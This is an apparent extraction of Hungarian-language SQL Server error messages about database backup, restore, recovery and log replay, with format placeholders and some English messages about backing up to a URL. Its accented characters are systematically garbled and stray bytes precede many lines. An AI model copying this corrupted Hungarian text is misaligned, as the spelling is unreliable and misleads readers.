LAz adatbzis az egyszerq helyrelltsi modellt hasznlja. A biztonsgi msolatban szereplQ adatok nem konzisztensek az adatbzis jelenlegi llapotval. Tovbbi adatok visszalltsa szksges ahhoz, hogy lehetQv vljon a helyrellts. Vagy lltson vissza egy fjlokrl kszlt teljes biztonsgi msolatot, amelyet azt kvetQen ksztettek, hogy az adatokat megjelltk csak olvashatknt, vagy lltsa vissza elQszr a cladatokrl kszlt legfrissebb alapvetQ biztonsgi msolatot, majd a fjlokrl kszlt klnbzeti biztonsgi msolatot.

LA visszalltott  %2!s!  adatbzis  %1!s!  fjlja nem mqkdQkpes llapotban marad, mert az adatbzis az egyszerq helyrelltsi modellt hasznlja, s a fjl rsi-olvassi hozzfrsre van megjellve. Ezrt kizrlag csak olvashat fjlok llthatk helyre darabonknti visszalltssal.

A kvetkezQ fjl lapmrete (%2!s!) nem tmogatott:  %1!s! .

XA kvetkezQ fjl tartalma nem konzisztens a visszalltsi menetbe val egyik tmenettel:  %1!s! . Szksg lehet egy biztonsgimsolat-kszletbQl val visszalltsra.

Az adathordoz-kszletnek %1!s! adathordoz-csaldja van, de csak %2!s! lett megadva. Az sszes tagot meg kell adni.

A(z)  %1!s!  eszkzn levQ ktet a(z) %3!s! adathordoz-csald %2!s!. sorszm tagja, de a rendszer a(z) %5!s! adathordoz-csald %4!s!. sorszm tagjt vrta. GyQzQdjn meg arrl, hogy az eszkz specifikcija s a betlttt adathordoz helyes.

(A kvetkezQ fjlban levQ biztonsgimsolat-kszlet ltrehozja %2!s!, s a kszlet nem hasznlhat ehhez a visszalltsi mqvelethez:  %1!s! .

Ez a klnbzeti biztonsgi msolat nem llthat vissza, mert az adatbzis nem lett visszalltva helyes korbbi llapotra.

Az adatbzis nem alakthat vissza. Vagy az elsQdleges nv, illetve a pillanatkp neve helytelenl van megadva, vagy nem lett eldobva az sszes tbbi pillanatkp, vagy egyes fjlok hinyoznak.

Az adatbzis nem alakthat vissza, mert FILESTREAM BLOB-ok tallhatk.

A pillanatkpre val visszallts a fQadatbzis esetben nem engedlyezett.

A kvetkezQ fjl helyfoglalsnak belltsa sikertelen:  %1!s! .

,A visszalltand adatbzis neve  %1!s! . A(z)  %2!s!  adatbzis fellrshoz adja ki jbl az utastst a WITH REPLACE kapcsol hasznlatval.

A(z)  %1!s!  fjl nem llthat vissza a ltezQ  %2!s!  fjl helyre. A ltezQ korbbi fjlok fellrshoz adja ki jbl a RESTORE utastst a WITH REPLACE kapcsol hasznlatval, vagy msik hely megadshoz hasznlja a WITH MOVE kapcsolt.

A kvetkezQ eszkzn levQ adatkszlet nem az SQL Server biztonsgimsolat-kszlete:  %1!s! .

XA(z)  %1!s!  fjlrl nem kszlt biztonsgi msolat a kvetkezQ eszkzn levQ %2!s! fjlba:  %3!s! . A fjl nem llthat vissza ebbQl a biztonsgimsolat-kszletbQl.

A STOPAT kapcsol a SIMPLE helyrelltsi modellt hasznl adatbzisok esetn nem tmogatott.

A tempdb adatbzison nem engedlyezett biztonsgi mentsi vagy visszalltsi mqveletek vgrehajtsa.

Ez a RESTORE utasts a jelenlegi krnyezetben rvnytelen. A  Recover Data Only  lehetQsg csak msodlagos fjlcsoportokra van definilva, amikor az adatbzis online llapotban van. Nem adhatk meg fjlcsoportok, amikor az adatbzis offline llapotban van.

A kvetkezQ fjl vagy fjlcsoport nincs rvnyes llapotban a hasznlni kvnt  Recover Data Only  lehetQsghez: "%1!s!". Csak OFFLINE vagy RECOVERY_PENDING llapotban levQ msodlagos fjlok dolgozhatk fel.

A fQadatbzis visszalltsa sikertelen volt. Az SQL Server lell. EllenQrizze a hibanaplkat, s ptse jra a fQadatbzist. A fQadatbzis jraptsrQl az SQL Server online knyvekben olvashat.

hAz adatbzis mr teljesen helyre lett lltva.

A biztonsgimsolat-kszlet egy olyan adatbzis biztonsgi msolatt tartalmazza, amely nem egyezik a ltezQ  %1!s!  adatbzissal.

8A RESTORE mqvelet nem folytathat, mert egy vagy tbb fjlt felvettek az adatbzisba, vagy eldobtak abbl a biztonsgimsolat-kszlet ltrehozsa ta.

$A(z)  %1!s!  fjl nem llthat vissza a kvetkezQ helyre:  %2!s! . Hasznlja a WITH MOVE kapcsolt rvnyes hely megadshoz a fjl szmra.

A kvetkezQ adatbzishoz tartoz napl vgrQl nem kszlt biztonsgi msolat:  %1!s! . Hasznlja a BACKUP LOG WITH NORECOVERY lehetQsget a napl biztonsgi mentshez, ha a napl olyan informcit tartalmaz, amelyet nem kvn elveszteni. Hasznlja a RESTORE utasts WITH REPLACE vagy WITH STOPAT zradkt a napl tartalmnak egyszerq fellrshoz.

Az elsQdleges fjl nem rhetQ el. Vissza kell lltani, vagy ms mdon elrhetQv kell tenni.

A tranzakcinapl srlt. Vissza kell lltani az sszes adatfjlt a RESTORE LOG mqvelet megksrlse elQtt.

A(z)  %1!s!  adatbzis vissza lett lltva, de a rendszer hibt szlelt a replikci visszalltsa/eltvoltsa sorn. Az adatbzis offline llapotban maradt. Tekintse t az MSSQL_ENG003165 cmq tmakrt az SQL Server online knyvekben.

8A RESTORE DATABASE utasts nem tudta eldobni a kvetkezQ adatbzist:  %1!s! . Dobja el az adatbzist, majd adja ki jbl a RESTORE DATABASE utastst.

A RESTORE utasts nem tudta elindtani a kvetkezQ adatbzist:  %1!s! .

A rendszeradatbzisnak a(z) %1!s! eszkzn levQ biztonsgi msolata nem llthat vissza, mert a kiszolgl olyan verzijval (%2!s!) lett ltrehozva, amely eltr e kiszolgl verzijtl (%3!s!).

Az adatbzis biztonsgi mentse egy olyan kiszolgln trtnt meg, amelyen a szoftver %1!s! verzija fut. Az a verzi nem kompatibilis ezzel a kiszolglval, amelyen a szoftver %2!s! verzija fut. Vagy lltsa vissza az adatbzist egy olyan kiszolgln, amely tmogatja a biztonsgi msolatot, vagy hasznljon olyan biztonsgi msolatot, amely kompatibilis ezzel a kiszolglval.

HA STANDBY fjlnv rvnytelen.

A kvetkezQ fjl nem mqkdQkpes, s nem llthat vissza az online adatbzisba: %1!s!.

A kvetkezQ fjlcsoport nem mqkdQkpes, s nem llthat vissza az online adatbzisba: %1!s!.

Az ezzel a RESTORE utastssal megadott STOPAT zradk azt jelzi, hogy a napl vge olyan vltozsokat tartalmaz, amelyekrQl biztonsgi msolatot kell kszteni a cl idQpont elrshez. A kvetkezQ adatbzishoz tartoz napl vgrQl nem kszlt biztonsgi msolat:  %1!s! . Hasznlja a BACKUP LOG WITH NORECOVERY utastst a napl biztonsgi mentshez, vagy hasznlja a WITH REPLACE zradkot a RESTORE utastsban a napl vgnek fellrshoz.

A kvetkezQ fjl nem helyezhetQ t ezzel a RESTORE mqvelettel:  %1!s! .

HA(z)  %1!s!  fjlra a kvetkezQk mindegyike ignyt tart:  %2!s! (%3!s!) s  %4!s! (%5!s!). A WITH MOVE zradk hasznlatval helyezhet t egy vagy tbb fjlt.

A kvetkezQ fjl nincs helyes llapotban ahhoz, hogy alkalmazza r ezt a klnbzeti biztonsgi msolatot: %1!s!.

A rendszeradatbzis nem helyezhetQ t a RESTORE utastssal.

Ez a biztonsgi msolat nem llthat vissza a WITH STANDBY zradk hasznlatval, mert szksg van az adatbzis frisstsre. Adja ki jbl a RESTORE utastst a WITH STANDBY zradk nlkl.

A biztonsgimsolat-kszlet nem llthat vissza, mert az adatbzis megsrlt a biztonsgi ments elvgzsekor. A helyrelltsi ksrletek kihasznlhatjk a WITH CONTINUE_AFTER_ERROR lehetQsget.

A RESTORE mqvelet hibt szlelt a lapon (%1!s!:%2!s!) a biztonsgimsolat-kszletbQl beolvasott  %3!s!  adatbzisban.

pA RESTORE mqvelet nem tudja alkalmazni ezt a biztonsgimsolat-kszletet, mert az adatbzis gyans. Olyan biztonsgimsolat-kszletet lltson vissza, amely kijavtja a srlst.

A biztonsgimsolat-kszlet megsrlt. A RESTORE utasts nem ksrli majd meg alkalmazni ezt a biztonsgimsolat-kszletet.

A RESTORE WITH CHECKSUM utasts nem adhat meg, mert a biztonsgimsolat-kszlet nem tartalmaz ellenQrzQsszegre vonatkoz informcit.

A rendszer a biztonsgimsolat-kszlet srlst szlelte.

A kvetkezQ fjlcsoport nem llthat vissza, mert nem ltezik a biztonsgimsolat-kszletben:  %1!s! .

$A visszallts nem folytathat, mert a kvetkezQ fjl nem rhat:  %1!s! . Biztostsa, hogy az adatbzisban levQ sszes fjl rhat legyen.

A kvetkezQ lap a fjl vgn tl van: %1!s!. Csak a fjl aktulis tartomnyn bell levQ lapok llthatk vissza.

A kvetkezQ lap nem llthat vissza ebbQl a biztonsgimsolat-kszletbQl: %1!s!. A RESTORE PAGE utasts csak teljes biztonsgimsolat-kszletbQl val visszallts esetn hasznlhat, illetve az elsQ olyan, naplrl kszlt vagy klnbzeti biztonsgi msolatbl val visszallts esetn, amelyet a fjl adatbzisba val felvtele ta ltrehoztak.

A fQadatbzisra vonatkozan a RESTORE WITH SNAPSHOT utasts nem tmogatott. A fQadatbzisnak egy pillanatkp biztonsgi msolatbl val visszalltshoz lltsa le a szolgltatst, s msolja t az adat- s naplfjlokat.

A RESTORE utastshoz MAXTRANSFERSIZE=%1!s! bellts szksges, de %2!s! lett megadva.

A kvetkezQ biztonsgi mentsi eszkz nem nyithat meg:  %1!s! . Az opercis rendszer ltal visszaadott hiba: %2!s!.

\A(z)  %1!s!  rsa sikertelen volt: %2!s!

dA(z)  %1!s!  olvassa sikertelen volt: %2!s!

Megszaktottk a biztonsgi mentsi vagy visszalltsi mqveletet.

Tl sok biztonsgi mentsi eszkz van megadva a biztonsgi mentshez vagy a visszalltshoz, legfeljebb %1!s! adhat meg.

`A kvetkezQ biztonsgi mentsi eszkz nem ltezik:  %1!s! . A ltezQ biztonsgi mentsi eszkzk megtekintshez hasznlja a sys.backup_devices katalgusnzetet. j biztonsgi mentsi eszkz ltrehozshoz hasznlja az sp_addumpdevice trolt eljrst vagy az SQL Server Management Studio szoftvert.

PBiztonsgi mentshez vagy visszalltshoz legalbb egy biztonsgi mentsi eszkz szksges. Futtassa jra az utastst egy biztonsgi mentsi eszkz megadsval.

A fjl vratlanul vget rt a biztonsgimsolat-kszlet kezdetnek olvassakor. GyQzQdjn meg arrl, hogy az adathordoz SQL Server rendszerbeli rvnyes biztonsgimsolat-kszletet tartalmaz, a tovbbi rszletekrt pedig tekintse t a konzol hibanapljt.

xA mqvelet felhasznli pldnyok esetn nem tmogatott.

A tkr  %1!s!  meghajtn levQ tagja nem konzisztens a kvetkezQ meghajtn levQ tkrtaggal:  %2!s! .

A(z)  %1!s!  tkreszkz s a(z)  %2!s!  tkreszkz specifikcija eltrQ.

Egy vagy tbb szalag nem tlthetQ be. Tovbbi rszletek a hibanaplban olvashatk.

Tl sok biztonsgi mentsi tkr van megadva. Legfeljebb %1!s! adhat meg.

j, tkrztt biztonsgimsolat-kszlet ltrehozshoz hasznlja a WITH FORMAT zradkot.

A RESTORE REWINDONLY utasts csak szalagos eszkzkre alkalmazhat.

rvnytelen rtk van megadva a kvetkezQ paramterhez: %1!s!.

A biztonsgi msolatok tkrzse az SQL Server jelen kiadsban nem rhetQ el. Az SQL Server klnbzQ kiadsai ltal nyjtott szolgltatsok tmogatsrl az online knyvekben olvashat bQvebben.

A kvetkezQ fjl vagy fjlcsoport nem vlaszthat ki ehhez a mqvelethez:  %1!s! .

The specified URL points to a Block Blob. Backup and Restore operations on Block Blobs are not permitted.

A(z)  %1!s!  fjlon vgrehajtott ReadFileEx rendszerfggvny csak %2!s! bjtot olvasott be, pedig a rendszer %3!s! bjtot vrt.

A(z)  %1!s!  fjlon vgrehajtott WriteFileEx rendszerfggvny csak %2!s! bjtot rt ki, pedig a rendszer %3!s! bjtot vrt.

Backup To URL failed to write status messages to the Windows Event Log.

PNem hozhat ltre munkavgzQ szl.

A(z)  %1!s!  eszkzn levQ biztonsgi mentsi adathordoz a(z) %2!s! adathordoz-csald rsze, amelynek feldolgozsa mr megtrtnt a kvetkezQ eszkzn:  %3!s! . GyQzQdjn meg arrl, hogy helyesen vannak megadva a biztonsgi mentsi eszkzk. Szalagos eszkzk esetn gyQzQdjn meg arrl, hogy a megfelelQ ktetek vannak betltve.

A kvetkezQ eszkzre vonatkoz krelem idQtllps miatt sikertelen:  %1!s! .

A kvetkezQ eszkzn vgzett mqvelet tllpte az jraprblkozsok engedlyezett szmt:  %1!s! .

A(z)  %1!s!  eszkzn betlttt adathordoz gy van formzva, hogy %2!s! adathordoz-csaldot tmogasson, de a rendszer a biztonsgi mentsi eszkz specifikcija alapjn %3!s! adathordoz-csaldot vr.

LA kvetkezQ eszkzn csatlakoztatott ktet identitsa nem felel meg a vrt biztonsgimsolat-kszletnek:  %1!s! . A ktet esetleg mr elavult az adathordoz-csald idQben ksQbbi fellrsa miatt. Ebben az esetben keresse meg a(z) %3!s! adathordoz-csald helyes, %2!s!. sorszm ktett.

DA(z)  %1!s!  logikai fjl nem rsze a kvetkezQ adatbzisnak:  %2!s! . Hasznlja a RESTORE FILELISTONLY utastst a logikai fjlok nv szerinti listzshoz.

A(z)  %1!s!  fjl nem rsze a kvetkezQ adatbzisnak:  %2!s! . Csak azok a fjlok listzhatk, amelyek ezen adatbzis tagjai.

The Estimate for the Backup size exceeds the maximum allowed file size on the remote endpoint.

LA(z)  %1!s!  eszkzn levQ biztonsgimsolat-kszlet a Microsoft Tape Format specifikci egy olyan szolgltatst hasznlja, amelyet az SQL Server nem tmogat.

A tkrztt adathordoz-kszletekre val biztonsgi mentshez az szksges, hogy az sszes tkr hozzfqzssel mqkdjn. Adja meg a kszlet sszes tagjt, vagy formzzon jra egy j adathordoz-kszletet.

0A kvetkezQ eszkzn levQ adathordoz-csald helytelenl van kialaktva:  %1!s! . Az SQL Server nem tudja feldolgozni ezt az adathordoz-csaldot.

A kvetkezQ eszkzn levQ fjl nem a Microsoft Tape Format specifikcinak megfelelQ rvnyes biztonsgimsolat-kszlet:  %1!s! .

A kvetkezQ eszkzn levQ adathordoz-csald a Microsoft Tape Format specifikci %2!s!.%3!s! verzijval lett ltrehozva:  %1!s! . Az SQL Server csak a kvetkezQ verzit tmogatja: %4!s!.%5!s!.

,A lerblokk mrete nagyobb, mint %1!s! bjt. Hasznljon rvidebb nevet s/vagy ler karakterlncot, majd prblja jbl elvgezni a mqveletet.

Nem sikerlt talaktani egy karakterlncot Unicode kdolsra vagy Unicode kdolsrl, %1!s!.

pA kvetkezQ eszkzn levQ adathordoz-csald nem hozzfqzhetQknt van megjellve:  %1!s! . Az adathordoz fellrshoz adja ki jbl az utastst az INIT kapcsol hasznlatval.

0A kvetkezQ eszkzn levQ ktet adathordoz-sorszma helytelen (%2!s!):  %1!s! . Tvoltsa el a ktetet, s helyezze be a kvetkezQ ktetet: %3!s!.

|A kvetkezQ eszkzn levQ ktet a biztonsgimsolat-kszlet folytatsktete:  %1!s! . Tvoltsa el, s helyezze be azt a ktetet, amely a biztonsgimsolat-kszlet kezdett tartalmazza.

A(z)  %1!s!  rtk a(z) %2!s! paramter tartomnyn kvl esik.

A blokkmret paramternek olyan rtket kell megadnia, amely 2 valamelyik hatvnya.

hA kvetkezQ eszkzn levQ ktet res:  %1!s! .

DA kvetkezQ eszkzn levQ adatkszlet egy SQL Server rendszerbeli biztonsgimsolat-kszlet, amely nem kompatibilis az SQL Server jelen verzijval:  %1!s! .

`A kvetkezQ eszkzn levQ biztonsgimsolat-kszletet lelltottk a ltrehozsa kzben, ezrt hinyos:  %1!s! . A RESTORE utasts vgrehajtsa rendellenesen megszakadt.

tNincs elegendQ szabad terlet a kvetkezQ lemezes kteten az adatbzis ltrehozshoz:  %1!s! . Az adatbzis tovbbi %2!s! bjt szabad terletet ignyel, de csak %3!s! bjt szabad.

A kvetkezQ eszkzn levQ ktet nem rsze az ppen feldolgozs alatt ll adathordoz-kszletnek:  %1!s! . GyQzQdjn meg arrl, hogy a helyes adathordozk vannak betltve a biztonsgi mentsi eszkzkbe.

<Egy belsQ puffer megtelt.

Az SQL Server nem tudja hasznlni a virtulis eszkzk konfigurcijt.

A kvetkezQ eszkzn levQ ktet nem hasznlhat folytatsktetknt:  %1!s! . A jelenlegi adathordoz-kszlethez tartoz %3!s! csald %2!s!. sorszm ktete. Helyezzen be egy j ktetet, vagy a jelenlegi kszlethez tartoz %5!s! csald %4!s!. sorszm ktett.

 A mqvelet nem haladt elQre megfelelQ mrtkben a RESTART mqvelet lehetQv ttelhez. Adja ki jbl az utastst a RESTART minQstQ nlkl.

A bejelentkezsi azonostnak nincs megfelelQ jogosultsga. A VIRTUAL_DEVICE lehetQsgnek a BACKUP vagy a RESTORE utastssal val hasznlathoz a sysadmin (rendszergazda) szerepkrbeli tagsg szksges.

A(z)  %1!s!  vgn levQ biztonsgi mentsi adatok helytelen formtumak. Az adathordozn levQ biztonsgimsolat-kszletek esetleg srltek s hasznlhatatlanok. Annak megllaptshoz, hogy mely biztonsgimsolat-kszletek vannak az adathordozn, hasznlja a RESTORE HEADERONLY utastst. A biztonsgimsolat-kszletek hasznlhatsgnak megllaptshoz hasznlja a RESTORE VERIFYONLY utastst. Ha mindegyik biztonsgimsolat-kszlet hinyos, akkor formzza jra az adathordozt a BACKUP WITH FORMAT utastssal, amely az sszes biztonsgimsolat-kszletet megsemmisti.

Nincs elegendQ erQforrs a felhasznli md temezQ (UMS) ltrehozshoz.

8A(z)  %1!s!  biztonsgimsolat-fjl nem hasznlhat, mert eredetileg %2!s! szektormrettel volt formzva, de most egy %3!s! szektormretq eszkzn van.

,A(z)  %1!s!  fjl nem llthat vissza, mert eredetileg %2!s! szektormrettel volt rva. A(z)  %3!s!  most egy %4!s! szektormretq eszkzn van.

DBelsQ konzisztenciahiba trtnt. Ez a hiba hasonl egy elQfelttellel kapcsolatos hibhoz. Tovbbi segtsgrt forduljon a technikai tmogatsi szolglathoz.

Helyrellthatatlan ki-/bemeneti hiba trtnt a kvetkezQ fjlnl:  %1!s! : %2!s!.

A(z)  %1!s!  eszkz hardveres szektormrete %2!s!, de a blokkmret paramter a nem kompatibilis %3!s! fellbrlsi rtket adja meg. Adja ki jbl az utastst kompatibilis blokkmret hasznlatval.

A WITH SNAPSHOT zradk csak akkor hasznlhat, ha a biztonsgimsolat-kszlet a WITH SNAPSHOT zradk hasznlatval lett ltrehozva.

A WITH SNAPSHOT zradk csak egy virtulis eszkzzel hasznlhat.

xA kvetkezQ karakterlnc titkostsa sikertelen: %1!s!.

A hozzfrs a jelszval kapcsolatos hiba miatt megtagadva.

A nyers eszkzkn levQ biztonsgi msolatok nem tmogatottak. A kvetkezQ egy nyers eszkz:  %1!s! .

A kvetkezQ fjl helyes inicializlsa sikertelen:  %1!s! . Tovbbi informci a hibanaplkban tallhat.

A kvetkezQ eszkzn levQ fjljelzQ nincs megfelelQen igaztva:  %1!s! . Adja ki jbl a Restore utastst ugyanolyan blokkmrettel, mint amilyennel a biztonsgimsolat-kszletet ltrehoztk: a(z)  %2!s!  egy lehetsges rtknek tqnik. 

A biztonsgi ments sikertelen volt, mert eltrs szlelhetQ a kvetkezQ fjlhoz tartoz metaadatokban: %1!s!.

Credential name %1!s! does not exist or user does not have permission to access it.

A Backup device of type URL was specified without a Credential, Backup/Restore operation cannot proceed.

Backup to URL received an exception from the remote endpoint. Exception Message: %1!s!

URL device type was specified, and a disallowed option %1!s! was specified.

A failure occurred while attempting to execute Backup or Restore with a URL device specified. Consult the Windows Event Log for details.

An error occurred while Backup/Restore to URL was initializing. Error message: %1!s!.

Use of the URL device type is limited to a single device during Backup and Restore operations.

Backup To URL error: Exclusive access to the file %1!s! could not be obtained.

The file %1!s! exists on the remote endpoint, and WITH FORMAT was not specified. Backup cannot proceed.

The URL provided does not meet specified requirements. The URL must be either resolvable as an absolute or relative URI, has or can be composed as an HTTP or HTTPS scheme, and cannot contain a query component.

`Backup/Restore to URL device error: %1!s!.

8BackupToUrl initiated.

lA tranzakcinapl rvnytelen rekordot (logop %1!s!) tartalmaz. A napl megsrlt. lltsa vissza az adatbzist egy teljes biztonsgi msolatbl, vagy javtsa ki az adatbzist.

xA naplzott mqveleteknek a(z)  %1!s!  adatbzisban val jbli vgrehajtsa nem rte el a napl vgt a kvetkezQ azonostj naplrekordnl: %2!s!. Ez srlsre utal a kvetkezQ azonostj naplrekord krl: %3!s!. lltsa vissza az adatbzist egy teljes biztonsgi msolatbl, vagy javtsa ki az adatbzist.

Egy naplzott mqveletnek a(z)  %1!s!  adatbzisban val jbli vgrehajtsakor hiba trtnt a kvetkezQ azonostj naplrekordnl: %2!s!. ltalban az adott problmt a Windows Esemnynapl szolgltatsa korbban hibaknt naplzza. lltsa vissza az adatbzist egy teljes biztonsgi msolatbl, vagy javtsa ki az adatbzist.

Egy naplzott mqveletnek a(z)  %1!s!  adatbzisban val visszavonsakor hiba trtnt a kvetkezQ azonostj naplrekordnl: %2!s!. ltalban az adott problmt a Windows Esemnynapl szolgltatsa korbban hibaknt naplzza. lltsa vissza az adatbzist vagy a fjlt egy biztonsgi msolatbl, vagy javtsa ki az adatbzist.

A visszallts sorn a kvetkezQ folyamat nem tartott egy vrt zrolst: folyamat: %1!s!, md: %2!s!, szint: %3!s!, sor: %4!s!, adatbzis:  %5!s! , tranzakci: %6!s!. lltsa vissza az adatbzis biztonsgi msolatt, vagy javtsa ki az adatbzist.

Egy naplzott mqveletnek a(z)  %1!s!  adatbzisban val visszavonsakor hiba trtnt a kvetkezQ azonostj naplrekordnl: %2!s!. A sor nem tallhat. lltsa vissza az adatbzist egy teljes biztonsgi msolatbl, vagy javtsa ki az adatbzist.

 A teljestmnyszmllk megosztott memrijnak belltsa sikertelen, %1!s! jelq hiba trtnt. Teleptse jra a pldnyhoz tartoz sqlctr.ini fjlt, s biztostsa, hogy a pldny bejelentkezsi fikjnak megfelelQ engedlyei vannak a belltsjegyzkre vonatkozan.

4A konfigurcis blokk %1!s! verzija nem rvnyes verziszm. Az SQL Server lell. lltsa vissza a fQadatbzist, vagy vgezze el az jrateleptst.

4Adatbzis-azonost: %1!s!. Az adatbzis nem jellhetQ meg gyansknt. Sikertelen volt a Getnext NC vizsglat vgrehajtsa a sys.databases.database_id hasznlatval. Az ok megllaptshoz tekintse t a hibanaplban levQ korbbi hibkat, s hrtsa el a kapcsold problmkat.

A(z)  %1!s!  adatbzis nem frissthetQ, mert csak olvashat, csak olvashat fjlokat tartalmaz, vagy a felhasznlnak nincs engedlye egyes fjlok mdostsra. Tegye rhatv az adatbzist vagy a fjlokat, majd futtassa jra a helyrelltst.

A kiszolgl olyan, csak olvashat fjlokat tartalmaz, amelyeket rhatv kell tenni ahhoz, hogy jrarendezhesse a kiszolglt.

A fQadatbzis nem llthat helyre. Az SQL Server nem futtathat. lltsa vissza a fQadatbzist egy teljes biztonsgi msolatbl, vagy javtsa ki, illetve ptse jra. A fQadatbzis jraptsrQl az SQL Server online knyvekben olvashat.

DA(z)  %1!s!  adatbzishoz vgzett helyrellts ki lesz hagyva, mert frissts szksges az adatbzishoz, de az kszenlti jellsq. A RESTORE DATABASE WITH NORECOVERY utasts hasznlatval helyezze vissza az adatbzist visszalltsi llapotba, s folytassa a visszalltsi menetet.

XAz adatbzisrl kszlt  %1!s!  pillanatkpnl sikertelen volt egy ki-/bemeneti mqvelet, ezrt a pillanatkp gyans jellsq. El kell dobni, s jra ltre kell hozni.

HA(z)  %1!s!  adatbzis (adatbzis-azonost: %2!s!) helyrelltsa sikertelen volt, mert a tranzakcik kimenete nem volt feloldva. A Microsoft Distributed Transaction Coordinator (MS DTC) elQksztette a tranzakcikat, de az MS DTC nem tudta megllaptani a feloldst. A problma elhrtshoz javtsa ki az MS DTC sszetevQt, vgezzen visszalltst egy teljes biztonsgi msolatbl, vagy javtsa ki az adatbzist.

A rendezsi sorrend vagy a terleti bellts nem mdosthat. Vratlan hiba trtnt, mikzben a rendszer megprblta jraindexelni a kiszolglt egy j rendezshez. Az SQL Server lell. A vltozatlan rendezsi sorrenddel val folytatshoz indtsa jra az SQL Server rendszert. Diagnosztizlja s javtsa ki a korbbi hibkat, majd prblja jbl elvgezni a mqveletet.

dHiba trtnt a kvetkezQ adatbzis helyrelltsa sorn:  %1!s! . Nem lehet kapcsoldni a Microsoft Distributed Transaction Coordinator (MS DTC) sszetevQhz a kvetkezQ tranzakci befejezettsgi llapotnak ellenQrzshez: %2!s!. Javtsa ki az MS DTC sszetevQt, majd futtassa jra a helyrelltst.

A meleg kszenltiknt belltott  %1!s!  adatbzis (adatbzis-azonost: %2!s!) indtsa sorn a RESTORE utasts nem tudta elrni a megfelelQ kszenlti fjlt ( %3!s! ). Az opercis rendszer ltal visszaadott hiba:  %4!s! . Diagnosztizlja az opercis rendszerbeli hibt, hrtsa el a problmt, s prblja meg jbl az indtst.

A(z)  %1!s!  adatbzis (adatbzis-azonost: %2!s!:%3!s!) kszenlti vagy csak olvashat md hasznlatra volt megjellve, de mdostottk. A RESTORE LOG utasts nem hajthat vgre. lltsa vissza az adatbzist egy biztonsgi msolatbl.

hA(z)  %1!s!  fjl nem rvnyes visszavonsi fjl a kvetkezQ adatbzishoz:  %2!s!  (adatbzis-azonost: %3!s!). EllenQrizze a fjl elrsi tjt, s adja meg a helyes fjlt.

A kvetkezQ adatbzishoz tartoz elsQdleges naplfjl nem rhetQ el:  %1!s!  (%2!s!:%3!s!). A napl biztonsgi mentse nem vgezhetQ el.

Nem sikerlt aktivlni vagy megvizsglni a kvetkezQ adatbzishoz tartoz sszes naplfjlt:  %1!s! .

A visszallts olyan lapot tallt, amelynl a napl sorszma (LSN) kisebb az eredeti naplrekord sorszmnl. A kvetkezQ naplrekord visszavonsa sikertelen: %1!s!, tranzakciazonost: %2!s!, lap: %3!s!, adatbzis:  %4!s!  (%5!s!:%6!s!). Lapadatok: naplsorszm = %7!s!, tpus = %8!s!. Napladatok: OpCode = %9!s!, krnyezet: %10!s!. lltsa vissza vagy javtsa ki az adatbzist.

Az SQL Server rendszernek le kell llnia egy adatbzis (adatbzis-azonost: %1!s!) helyrelltshoz. Az adatbzis vagy egy felhasznli adatbzis, amelyet nem sikerlt lelltani, vagy egy rendszeradatbzis. Indtsa jra az SQL Server rendszert. Ha az adatbzis az jbli indts utn sem ll helyre, akkor javtsa ki vagy lltsa vissza az adatbzist.

\Ez a verzi nem tud megismtelni semmilyen index-ltrehozsi vagy nem naplzott mqveletet, amelyet az SQL Server 7.0 vgzett el. A tovbbi elQregrgets nem lehetsges.

A kvetkezQ naplrekord megismtlse sikertelen: %1!s!, tranzakciazonost: %2!s!, lap: %3!s!, foglalsi egysg: %4!s!, adatbzis:  %5!s!  (adatbzis-azonost: %6!s!). Lap: naplsorszm = %7!s!, foglalsi egysg= %8!s!, tpus = %9!s!. Napl: OpCode = %10!s!, krnyezet: %11!s!, PrevPageLSN: %12!s!. lltsa vissza az adatbzist egy biztonsgi msolatbl, vagy javtsa ki az adatbzist.

A(z)  %1!s!  tranzakcis fjlrendszeri erQforrs-kezelQ helyrelltsa sikertelen volt. Tovbbi informci s a megfelelQ felhasznli beavatkozs ismertetse a kapcsold hibazenetben olvashat.

A helyrellts nem tudja ellenQrizni az eldobott foglalsi egysgeket a kvetkezQ adatbzisban, mert vratlan hiba trtnt:  %1!s! . Ezekben a foglalsi egysgekben nem vgezhetQ adattisztts.

XA(z)  %1!s!  adatbzis helyrelltsa sorn nem sikerlt megismtelni a kvetkezQ fjl hozzadst:  %2!s! . Trlje a fjlt, s prblja jbl elvgezni a mqveletet.

Csak a(z)  %1!s!  adatbzis tulajdonosa vagy egy megfelelQ engedlyekkel rendelkezQ felhasznl futtathatja a CHECKPOINT utastst.

A smaellenQrzs sikertelen a kvetkezQ adatbzisra:  %1!s! .

xNem foglalhat le GUID-azonost egy lexiklis elemhez.

A tranzakci vget rt az esemnyindtban. A kteg meg lett szaktva.

(Hiba trtnt az esemnyindt vgrehajtsa sorn. A kteg meg lett szaktva, s a felhasznli tranzakci (ha volt ilyen) vissza lett lltva.

\rvnytelen lebegQpontos mqvelet trtnt.

Egy rendszerszintq elQfelttel ellenQrzse sikertelen volt. Tovbbi rszletek az SQL Server hibanapljban olvashatk. Az elQfelttelekkel kapcsolatos hibkat ltalban szoftverhiba vagy adatsrls okozza. Az adatbzis srlsnek ellenQrzshez fontolja meg a DBCC CHECKDB utasts futtatst. Ha a teleptskor beleegyezett abba, hogy a rendszer memriakpeket kld a Microsoft vllalatnak, akkor egy mini memriakp el lesz kldve a Microsoftnak. A Microsoft esetleg mr elrhetQv tett egy frisstst a legjabb szervizcsomagban vagy a technikai tmogatsi szolglattl beszerezhetQ QFE csomagban. 

H %1!s!  mg nincs megvalstva.

0Nem indthat j prhuzamos mqvelet, mert jelenleg tl sok prhuzamos mqvelet vgrehajtsa van folyamatban. Az engedlyezett szlak szmnak nvelshez hasznlja a  max worker threads  konfigurcis belltst, vagy cskkentse a rendszerben fut prhuzamos mqveletek szmt.

Az adatbzismotor lebegQpontos kivtelt kapott az opercis rendszertQl egy felhasznli krelem feldolgozsakor. Prblja jbl vgrehajtani a tranzakcit. Ha a problma tartsan fennll, forduljon a rendszergazdhoz.

Az opercis rendszer  %1!s!  jelq hibt adott vissza  %2!s!  megksrlsekor a kvetkezQ helyen:  %3!s! , idQpont:  %4!s! (%5!s!).

Az opercis rendszer  %1!s!  jelq hibt adott vissza  %2!s!  megksrlsekor a kvetkezQ helyen:  %3!s! .

